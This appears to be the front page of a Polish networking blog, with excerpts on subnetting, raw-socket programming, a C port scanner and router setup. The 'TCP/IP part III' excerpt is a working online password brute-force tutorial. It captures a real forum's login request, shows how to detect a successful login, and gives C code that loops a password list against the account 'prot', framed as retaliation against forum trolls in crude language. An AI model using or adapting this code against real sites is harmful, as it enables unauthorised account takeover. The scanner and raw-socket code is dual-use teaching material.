Video of the week

I've found this great video and I recommend you to watch if you are interested in wireshark and filtering methods

Switch - basics

 

Pytania: Mam 4 komputery podpięte pod jeden switch. Maszyny adresowanę są kolejno:

192.168.1.100/24
192.168.1.101/24
192.168.2.100/24
192.168.2.101/24

Czy komputery tworzą jedną sieć? Czy komputery widzą się wzajemnie? Czy switch może spiąć więcej niż jedną sieć logiczną? Na jakim etapie ?sieci? decyduje się czy pakiet np z hosta 0 dotrze lub nie do np hosta 3? Co o tym decyduje?

1

 

Na obrazku mamy opisywaną sytuację. Czy hosty tworzą jedną sieć?

Oczywiście nie trzeba być expertem sieciowym, żeby stwierdzić, że NIE(całkiem). Dwa hosty po lewej stronie tworzą jedną podsieć, dwa po prawej kolejną. Decyduje o tym maska podsieci, która w tym przypadku 255.255.255.0 (aka ad.r.e.s/24) mówi nam, że adres sieci to 24 bity (3 oktety) czyli adres pierwszej sieci po lewej to [192.168.1.]0 i analogicznie sieć po prawej to [192.168.2.]0.

Dlaczego 0 a nie np 999? Adres sieci (taka zasada) ma w części hosta SAME ZERA. Adres składa się na SIEĆ.HOST czyli 192.168.1(sieć).100(host). Binarnie ostatni oktet będzie wyglądać tak: 192.168.1.01100100 (--> 192.168.1.100). Natomiast zgodnie z zasadą, że adres sieci musi mieć w częsci hosta same zera mamy: 192.168.1.00000000(bin) czyli 192.168.1.0(dec).

Read more: Switch - basics
Write comment (0 Comments)

TCP/IP - part III

Na koniec poprzedniego arta o skanerze TCP/IP napisałem, że w kolejnym arcie można zrobić skaner oparty na testowaniu portów tylko jedną flagą np SYN. W zasadzie stwierdzam, że nie jest to na tyle trudne, żeby poświęcać na to osobny art bo doskonały wzór na to rozwiązanie zawarty jest w poprzednich dwóch artach. Jest tam opisana idea, są struktury, funkcje - wszystko tam jest, trzeba tylko odpowiednio zmodyfikować strukture TCP i zaznaczyć, którą flagę (pole bitowe) chce się ustawić. W wierszu poleceń można nawet dodać opcje wybrania której flagi, czy SYN, ACK a może FIN - a może i nie.

Aby zatem jeszcze bardziej wkręcić się w sockety i praktykę, można zrealizować inne ciekawe zadanie. Na bank przydażyła Ci się kiedyś sytuacja, kiedy męczyłeś się z jebanym trollem na jakimś forum. Loguje się taka pizda, wypisuje bzdury i obraża wszystkich dookoła. To co pisze jest tak durne, że zastanawiasz się skąd to coś się w ogóle wzięło. Takich zjebów jest cała masa i nie tylko w virtualu - co z tym zrobić?

Przyda się znajomość socketow, odrobina wiedzy na temat HTTP no i kompilator. Zaloguje się teraz na forum gdzie mam konto i przeanalizuję moje żądanie - REQUEST - w stronę serwera. Czym jest żądanie pobrania strony? To pakiet TCP/IP a w 'dziale' danych nagłówka TCP znajduje się moje żądanie. Jak mogę podejrzeć takie coś? Proponuję jedną z dwóch metod - wtyczka do Firefox Live HTTP Headers albo sniffer. Pierwsza opcja jest szybsza i mniej zaawansowana. Okey, Firefox otwarty, strona otwarta i gotowa do wpisania loginu i hasła, okno wtyczki Live HTTP Headers uruchomione więc wpisuję login i hasło [ENTER] i patrzę na listing:

  1. POST /index/logowanie/ HTTP/1.1
  2. Host: www.devilpage.pl
  3. User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5)
  4. Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)
  5.  
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  7. Accept-Language: pl,en-us;q=0.7,en;q=0.3
  8. Accept-Encoding: gzip,deflate
  9. Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
  10. Keep-Alive: 300
  11. Connection: keep-alive
  12. Referer: http://www.devilpage.pl/
  13. Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........
  14. Content-Type: application/x-www-form-urlencoded
  15. Content-Length: 6.
  16. login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj

Co to jest? To jest zapytanie jakie skonstruowała moja przeglądarka w celu pobrania strony, na której będę widnieć jako użytkownik ZALOGOWANY. Okey, ale co dalej z tym robić? Pierwsza sprawa - dobrze byłoby wiedzieć, że to co przedstawione wyżej ( REQUEST ), może a nawet POWINNO znaleźć się w moim pakiecie jaki wystrzele w kierunku serwera HTTP.

Czy muszę budować pakiet od nowa jak w pierwszym arcie? Absolutnie NIE! Tutaj wystarczy, że przekażę taki właśnie REQUEST do bufora przy okazji wywołania funkcji send() - proste. Bufor w tej funkcji stanowi dane protokołu TCP. Protokoły warstwy aplikacji modelu OSI w Internecie porozumiewają się właśnie na bazie danych protokołu TCP - czyli takiego bufora.

  1. char httpRequest[] = { "POST /index/logowanie/ HTTP/1.1\r\n\"
  2. "Host: www.devilpage.pl\r\n"
  3. "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.5) "
  4. "Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)\r\n"
  5.  
  6. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  7. "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
  8. "Accept-Encoding: gzip,deflate\r\n"
  9. "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
  10. "Keep-Alive: 300\r\n"
  11. "Connection: keep-alive\r\n"
  12. "Referer: http://www.devilpage.pl/\r\n"
  13. "Cookie: 90plan=R42640.....; PHPSESSID=e73e411183364c2baf226e77........\r\n"
  14. "Content-Type: application/x-www-form-urlencoded\r\n"
  15. "Content-Length: 6.\r\n\r\n"
  16. "login=prot&pam=on&haslo=HASLO&zaloguj=Zaloguj" };

To jest właśnie bufor jaki przekażę jako parametr do funkcji send. Dlaczego prawie? No i teraz trochę o HTTP: żądanie pobrania zasobu np strony z serwera HTTP składa się z nagłowków. Są one opcjonalne a ich kolejność nie ma znaczenia - serwer HTTP i tak odpowiednio je zinterpretuje. Ale żeby zapytanie miało sens, muszą pojawić się niektóre nagłowki. Na pewno pierwszy nagłówek (1) POST(...), (2) Host:(...) - tyle w zasadzie wystarczy do pobrania strony z serwera HTTP. Gdzieś tam kiedyś pewnie widziałeś telnetową sesję pobrania strony - ktoś tam wpisywał GET X [ENTER] Host: Y [ENTERx2] a w konsoli pojawiał się kod źródłowy strony. Serwer HTTP oraz inne protokoły warstwy aplikacji interpretują po prostu linijka po linijce (\r\n\) bufor rządania i postępują zgodnie ze specyfikacją protokołu.

Mi do zalogowania się na stronę forum nie wystarczą te dwa nagłowki. Łatwiej będzie odsiać to czego nie potrzebuję - pominę bankowo nagłowek: Accept-Encoding: gzip,deflate. Why - nie chcę aby strona jaka zostanie pobrana przy okazji mojego żądania była zapełniona krzaczkami w związku z zakodowaniem jej treści. W razie braku tego nagłówka, serwer domyślnie wyślę do mnie czytelny kod strony WWW (zupełnie zrozumiały a nie jakieś chwasty). Co by tu jeszcze pominąć? Może nic więcej? - okey. Ale dlaczego nie pasują mi te krzaki? Dlatego, że teraz zaloguje się na forum i poszukam jakieś charakterystycznego fragmentu kodu źródłowego strony, który odróżnia stan zalogowania od stanu niezalogowania:

  1. <div id="profil">
  2. <form action="/index/logowanie/" method="post">
  3. <table class="log_form">
  4. <tr>
  5. <td><strong>Login:</strong></td>
  6. <td align="right"><input type="text" name="login" size="15" /></td>
  7. <td><input type="checkbox" checked="checked" name="pam" class="pam" /> Zapamiętaj</td>
  8. </tr>
  9. <tr>
  10. <td><strong>Hasło:</strong></td>
  11. <td align="right"><input type="password" name="haslo" size="15"/></td>
  12. <td><input type="submit" name="zaloguj" value="Zaloguj" /></td>
  13. </tr>
  14. <tr>
  15. <td colspan="6" align="center"><a href="/index/reg/">Zarejestruj się</a> - <a href="/index/haslo/">
  16. Przypomnij hasło</a> </td>
  17. </tr>
  18. </table>
  19. </form>
  20. </div>

A po zalogowaniu:

  1. <div id="profil">
  2. <div class="av"><img src="/img/avatary/prot.png" alt="prot" border="0" /></div>
  3. <span class="profil_sep"></span>
  4. Witaj <strong><a href="/index/profile/pokaz/28607/prot">prot</a></strong><br />
  5.  
  6. <table style="font-size: 9pt;">
  7. <tr>
  8. <td>&amp;raquo; <a href="/index/profile/edytuj/">edytuj profil</a></td>
  9. <td>&amp;raquo; <a href="/index/pw/">wiadomości (0)</a></td>
  10. </tr>
  11. <tr>
  12. <td>&amp;raquo; <a href="/index/newsy_od_userow/">prześlij newsa</a></td>
  13. <td>&amp;raquo; <a href="/index/logowanie/wyloguj/">wyloguj się</a></td>
  14. </tr>
  15. </table>
  16. </div>

Po co to? Jeśli uda mi się pobrać stronę ale podałem błędne hasło - wtedy w buforze odpowiedzi otrzymam kod pierwszy. Jeśli wyślę żądanie z poprawnym hasłem, wtedy otrzymam w buforze odpowiedzi od serwera drugi kod. Wystarczy sprawdzić po każdej odpowiedzi serwera, czy w buforze odpowiedzi znajduje jakiś charakterystyczny fragment np: [ alt="prot" ] - wtedy będę wiedział, że udało mi się wysłać zupełnie poprawne żądanie. Teraz wiesz już dlaczego nie można pozwolić aby serwer przesłał w odpowiedzi krzaki (skompresowaną witrynę). Zwróc uwagę na ostatnią linię żądania - są tam parametry logowania. Zwróc też uwagę na nagłowek Content-Length: - zawiera on wartość stanowiącą długość ostatniej lini mojego żądania.

Co dalej - teraz wystarczy wygenerować jakiś pliczek z hasłami, proponuję najpierw utworzyć go ręcznie tzn wpisać hasła prawdopodobne, głupie, oczywiste, wykonać ich drobą permutację [ online ] - przygotować się generalnie do ataku słownikowego ale z głową. Następnie w pętli będziesz musiał modyfikować odpowiednio bufor tak, aby ostatnia linia zawierała hasło pobrane z pliku a nagłowek Content-Length zmieniał się w zależności od długości ostatniej linii żądania. Następnie taki Request przesyłasz do serwera i czekasz na odpowiedź. W buforze odpowiedzi szukasz charakterystycznego fragmentu kodu - jeśli znalazłeś - udało Ci się zalogować, jeśli nie - działasz dalej:

  1. int _tmain(int argc, _TCHAR* argv[])
  2. {
  3. WSADATA wsaData;
  4.  
  5. if(WSAStartup(MAKEWORD(1,1), &amp;wsaData) != 0)
  6. {
  7. fprintf(stderr,"WSAStartup failed.\n");
  8. getch();
  9. return(-1);
  10. } else {
  11. fprintf(stdout,"WSAStartup success.\n");
  12. }
  13.  
  14. FILE *fPtr = fopen( "C:\\pass.txt", "r" );
  15. int ileHasel = policzHasla( fPtr );
  16. fprintf( stdout, "Ilosc hasel: %d\n", ileHasel );
  17. char buforRequest[1024] = { "POST /index/logowanie/ HTTP/1.1\r\n"
  18. "Host: www.devilpage.pl\r\n"
  19. "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
  20. "Accept-Language: pl,en-us;q=0.7,en;q=0.3\r\n"
  21. "Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7\r\n"
  22. "Keep-Alive: 300\r\n"
  23. "Connection: keep-alive\r\n"
  24. "Referer: <a href="http://www.devilpage.pl/">http://www.devilpage.pl/</a>\r\n" };
  25. for( int n=0; n<ileHasel; n++ ) {
  26. char payload[256];
  27. memset( payload, 0, 256 ); /* login &amp; password */
  28. char passBuffer[32];
  29. memset( passBuffer, 0, 32 );
  30.  
  31. char buforRequestSend[1024];
  32. memset( buforRequestSend, 0, 1024 );
  33. strcpy( buforRequestSend, buforRequest );
  34.  
  35. if( createPayload( "prot", pobierzHaslo( fPtr, passBuffer ), payload ) == 0 )
  36. break;
  37.  
  38. char buforTemp[1024];
  39. memset( buforTemp, 1, 1024 );
  40. strcpy( &amp;buforRequestSend[ strlen( buforRequestSend ) ], addCookie( "Cookie: 90plan=R42640.....;
  41. PHPSESSID=e73e411183364c2baf226e77........\r\n", payload, buforTemp ));
  42.  
  43. if( SendRequest( buforRequestSend, passBuffer, n ) )
  44. break;
  45. }
  46.  
  47. WSACleanup();
  48. fclose( fPtr );
  49. return 0;

 

Read more: TCP/IP - part III
Write comment (0 Comments)

TCP/IP - part II

Part II o TCP/IP więc pora, żeby zrobić pierwszy, podstawowy skaner portów. Mam nadzieję, że przeczytałaś poprzedni art i zapamiętałeś co trzeba. Apropo skanerów - w przypadku podstawowego skanowania z użyciem protokołu TCP sprawa polega na utworzeniu gniazda i nawiązaniu połączenia z portem hosta zdalnego. Czego będziesz potrzebować? Wystarczą funkcje socket - connect oraz shutdown plus wypełniona struktura sockaddr_in. Zatem do dzieła.

1. Ustal sobie najpierw jakie parametry będzie przyjmować Twój skaner w linii poleceń. Proponuję takie rozwiązanie:

  1. if( argc < 3 ) {
  2. fprintf( stderr, "Usage: ./tcpscan <IP> <portStart-portEnd>\n" );
  3. return(-1);
  4. }

Pierwszym parametrem niech będzie adres IP a kolejnym porty do przeskanowania na zasadzie : zakres portów np 1024-5555 albo jeden nawet port : 80-80. Parsowanie parametrów niech wygląda w ten sposób np:

  1. char ports[16]; // 80-80
  2. memset( ports, 0, 16 );
  3. strcpy( ports, argv[2] );
  4.  
  5. unsigned short position = 0; // '-'
  6. while( *(argv[2]++) != '-' )
  7. position++; // 2
  8.  
  9. char buffer[8];
  10. memset( buffer, 0, 8 );
  11. int portStart = atoi( strncpy( buffer, ports, position ) );
  12.  
  13. memset( buffer, 0, 8 );
  14. int n=0;
  15. for( int i=0; i < strlen( ports ); i++ ) {
  16. if( i <= position ) // 2
  17. continue;
  18. buffer[n++] = ports[i];
  19. }
  20. int portEnd = atoi( buffer );

char ports[16] - czemu 16? a no np na taką okoliczność 65535-65535, skrajnie ilościowo-znakowy przypadek to 11 znaków ale dopełniłem sobie do 16. Możesz spokojnie dać 12 znaków na tę tablicę. Będzie to oczywiście Twoja zmienna, w której przechowasz znakową reprezentację zakresu portów do skanowania.


unsigned short position - tą zmienną wskażesz znak '-', żeby wiedzieć od którego portu zacząć skanowanie i na którym zakończyć. Wartość pozycji tego znaku będzie pomocna.


char buffer - zmienna ta przechowa znakową reprezentację pierwszego portu. Są to wszystkie znaki od początku ports do znaku '-'. Następnie dochodzi do konwersji z reprezentacji znakowej do int. Następnie do buffera zapakujemy to co jest po znaku '-' czyli ostatni port do przeskanowania. Trafi on w reprezentacji liczbowej do zmiennej portEnd.

Okey przyszedł czas na main part. Popatrz sobie na kod a pod nim będzie słówko komentarza.

  1. int sockfd = -1;
  2.  
  3. struct sockaddr_in toScan;
  4. toScan.sin_family = AF_INET;
  5. toScan.sin_addr.s_addr = inet_addr( argv[1] );
  6. memset( toScan.sin_zero, 0, 8 );
  7.  
  8. for( int i=portStart; i<=portEnd; i++ ) {
  9. toScan.sin_port = htons( i );
  10.  
  11. if( (sockfd = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) == -1 ) {
  12. fprintf( stderr, "socket failed.\n" );
  13. return(-1);
  14. }
  15.  
  16. if( connect( sockfd, (sockaddr*)&amp;toScan, sizeof( toScan ) ) != -1 )
  17. fprintf( stdout, "Port %d - open\n", i );
  18.  
  19. shutdown( sockfd, 0 );
  20. }
  21.  
  22. fprintf( stdout, "That's all.\n" );

Najpierw wypełniasz strukturę sockaddr_in - adres przypominam znajdziesz jako parametr swojego programu i przekażesz go do inet_addr jako const char*. Następnie masz prostą pętlę od pierwszego do ostatniego portu wykonujesz jedynie funkcję connect po czym zamykasz gniazdo. Co dzieje się w momencie wywołania funkcji connect?

Read more: TCP/IP - part II
Write comment (0 Comments)

TCP/IP - part I

Znalazłem ostatnio w I-necie pseudo art o czytaniu logów ze snifferów. Umiejętność czytania logów to bardziej znajomość całej otoczki, która transportuje dane w I-necie. Postanowiłem, że zamiast odstraszać i emanować próżnością można zrobić coś ciekawszego.

W tym arcie i po nim będziesz w stanie zupełnie samodzielnie ;) sprawdzić z dużą szansą powodzenia dostępność zdalnego hosta. Jeśli zamiast zwykłej ciekawości przyszedł Ci do głowy genialny pomysł skorzystania odrazu z programu ping - proszę o opuszczenie tego serwera. Jeśli wstępnie opanujesz praktykę z zakresu protokołów sieciowych wtedy czytanie logów będzie dużo łatwiejsze - w drugą stronę to nie działa tak samo. Np - z typowego artykułu dowiesz się, że istnieje tak zwany bufor na dane w nagłówku IP - Window. Szkoda, że właściwie niczego więcej się nie dowiesz. Jeśli podejdziesz do tego od strony programowej - będziesz wiedział, że możesz np sam ustalić wielkość takiego bufora a wtedy będziesz się zastanawiać jak duży może być żeby nie przesadzić i zaczniesz szukać informacji. Poświęcisz na to więcej czasu ale zapamiętasz to do emerytury a nie do następnej imprezy.

Jeśli nie wiesz za wiele na temat programowania aplikacji sieciowych to zanim przejdziesz dalej - odwiedz inne strony związane z tym tematem i wtedy wróć. Jest to ważne a sam nie zamierzam tutaj przepisywać Internetu i produkować kolejnego tutoriala o gniazdach. Nie wyważa się już otwartych drzwi.

Okey, zakładam że masz już podstawową wiedzę na temat gniazd - tym samym stwierdzić mogę, że wiesz w zasadzie nic. Wiesz mniej więcej jak przesłać przez sieć komunikat "I love Lady Gaga" i w zasadzie powinno Ci się wydawać, że to już coś. Gdybym teraz zapytał się Ciebie na jakiej dokładnie zasadzie przesłałeś ten komunikat - odpowiesz, że w pakiecie. Okey - ale czym jest ten pakiet, jak on wygląda z czego się składa i w końcu gdzie dokładnie w tym pakiecie jest Twój komunikat? - Tutaj pojawia się problem z odpowiedzią. Wszystko to będziesz wiedzieć jeśli podejmiesz się tutaj próby realizacji programu imitującego PING.

Od czego zaczniesz? - proponuję ustalić najpierw czy Twój system jest w stanie wyprodukować tak zwany 'surowy pakiet'. Na różnych tutorialach dowiedziałeś się pewnie i wiesz co oznacza taka linijka:

int sockfd = socket( AF_INET, SOCK_RAW, IPPROTO_TCP );

Ten fragment informuje jądro systemu, że przygotowujemy się do zbudowania pakietu sieciowego z danymi. Zrobimy to sami - szok - ale tak można. Można zbudować własną strukturę i przesłać ją w Internet! Szok - ale spokojnie, tą wysyłką rządzą pewne reguły o których zaraz się dowiesz. XP sp2 nie wspiera surowych gniazd na bazie protokołu TCP ale UDP i ICMP już TAK. Z tego też powodu swoje poczynania przeniosłem na system Linux. Vista i 7 już wspierają surowce a jeśli bardzo upierasz się na XP to możesz na podobnej zasadzie zbudować imitację PING'a korzystając z biblioteki WinPcap.

Formalności mamy już za sobą. Kolejna sprawa - fajnie, żebyś wiedział trochę o budowie nagłówków protokołów - zwłaszcza IP, TCP, UDP i np ICMP.

03table02

To jest nagłowek protokołu IP - na tym obrazku wygląda mało praktycznie a bardziej teoretycznie. Spróbuj spojrzeć na niego z trochę inne rzutu:

  1. typedef struct ip_hdr
  2. {
  3. unsigned char ip_header_len:4;
  4. unsigned char ip_version :4;
  5. unsigned char ip_tos;
  6. unsigned short ip_total_length;
  7. unsigned short ip_id;
  8. unsigned char ip_frag_offset :5;
  9. unsigned char ip_more_fragment :1;
  10. unsigned char ip_dont_fragment :1;
  11. unsigned char ip_reserved_zero :1;
  12. unsigned char ip_frag_offset1;
  13. unsigned char ip_ttl;
  14. unsigned char ip_protocol;
  15. unsigned short ip_checksum;
  16. unsigned int ip_srcaddr;
  17. unsigned int ip_destaddr;
  18. } IPV4_HDR;

Z programistycznego punktu widzenia ma to dla Ciebie trochę większy sens prawda? Prawda, a zatem spróbuj odrazu spojrzeć na pozostałe nagłówki wymienionych protokołów w taki sposób - TCP:

Read more: TCP/IP - part I
Write comment (0 Comments)

EDIMAX ADSL AR-7284WnA - Access Point

 Jak połączyć 2 routery tak, aby jeden z nich pracował jako ACCESS-POINT w sieci lokalnej?

Przypadek: posiadam router z modemem ADSL EDIMAX AR-7284WnA i chciałbym podłączyć go do routera WRT54G jako Access-Point:

edimax

1. Zaczynam od zalogowania się na router WRT54G. Ustawiam zakres adresów dla serwera DHCP np. niech serwer DHCP działa i przydziela adresy od 192.168.1.100 do 192.168.1.115 (16 adresów). Oznacza to, że mogę wpiąć kabel od laptopa do routera WRT54G, ustawić w laptopie statyczny adres np. 192.168.1.16 lub 192.168.1.116 i również będę mieć Internet. Mogę ustawić większy i mniejszy zakres adresów (192.168.1.100-103, 192.168.1.100-63, 192.168.1.2-5,..) - najważniejsze, żebym znał dowolny wolny adres z poza puli (dla puli 192.168.1.100-103 przykładowe wolne adresy: 192.168.1.99 lub 192.168.1.104 itd).

2. Loguję się na drugi router EDIMAX (ADSL) i wprowadzam przykładowe ustawienia:
- urządzenie Access-Point musi posiadać adres IP, żeby udostępniać Internet bezprzewodowo
- urządzenie Access-Point musi mieć wyłączony serwer DHCP

Read more: EDIMAX ADSL AR-7284WnA - Access Point
Write comment (0 Comments)